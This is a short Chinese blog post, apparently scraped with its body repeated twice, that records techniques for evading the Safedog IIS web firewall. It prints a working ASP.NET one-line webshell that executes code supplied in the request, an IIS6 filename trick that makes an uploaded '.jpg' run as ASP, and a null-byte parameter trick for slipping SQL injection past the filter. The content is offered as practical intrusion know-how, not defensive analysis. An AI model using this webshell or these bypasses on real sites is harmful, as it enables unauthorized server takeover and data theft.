突破安全狗的一些记录
2013-10-15 00:45
155 查看
1、绕过IIS安全狗的一句话。
前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["t00ls"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
连接端用cncert的aspx一句话客户端。
2、IIS6.0解析漏洞遇到安全狗。
文件名为http://www.2cto.com /1.asp;1.jpg。
这样的会被IIS安全狗果断屏蔽。
改成如下名称,IIS6一样会解析: http://www.2cto.com /;1.asp;1.jpg
3、安全狗的注入绕过。
常用的如seo.asp?id=1 and 1=1 是会被安全狗屏蔽的。
但如果:
seo.asp?seo.com=%00.&id=69%20 and 1=1就可以成功绕过了
前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["t00ls"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
连接端用cncert的aspx一句话客户端。
2、IIS6.0解析漏洞遇到安全狗。
文件名为http://www.2cto.com /1.asp;1.jpg。
这样的会被IIS安全狗果断屏蔽。
改成如下名称,IIS6一样会解析: http://www.2cto.com /;1.asp;1.jpg
3、安全狗的注入绕过。
常用的如seo.asp?id=1 and 1=1 是会被安全狗屏蔽的。
但如果:
seo.asp?seo.com=%00.&id=69%20 and 1=1就可以成功绕过了
相关文章推荐
- 突破安全狗的一些记录
- 突破安全狗的一些记录
- 记录一下一些服务器的安全配置(随时更新)
- 突破安全狗防注入及上传的一些思路
- 白帽子讲安全 的一些记录点
- 白帽子讲安全 的一些记录点
- 白帽子讲安全 的一些记录点
- 白帽子讲安全 的一些记录点
- 初学python的一些问题记录
- Win2003开启IIS服务需要做的一些安全设置
- 有关GCC的一些记录笔记
- 整合项目遇到的一些问题 记录一下 前后台传值 和 编码问题
- Bash shell命令记录和CentOS的一些技巧
- MVC Cookies的一些记录
- 编写安全的代码的一些技巧 C++
- 希望能经常写自己的技术博客,记录我的一些学习进程
- 【转】突破安全软件加载驱动的方法
- 记录Window 编程常用的一些小功能函数
- tomcat 2-- 关于一些部署启动问题和403问题的查询记录
- 记录下用MPMoviePlayerViewController做视频播放的一些问题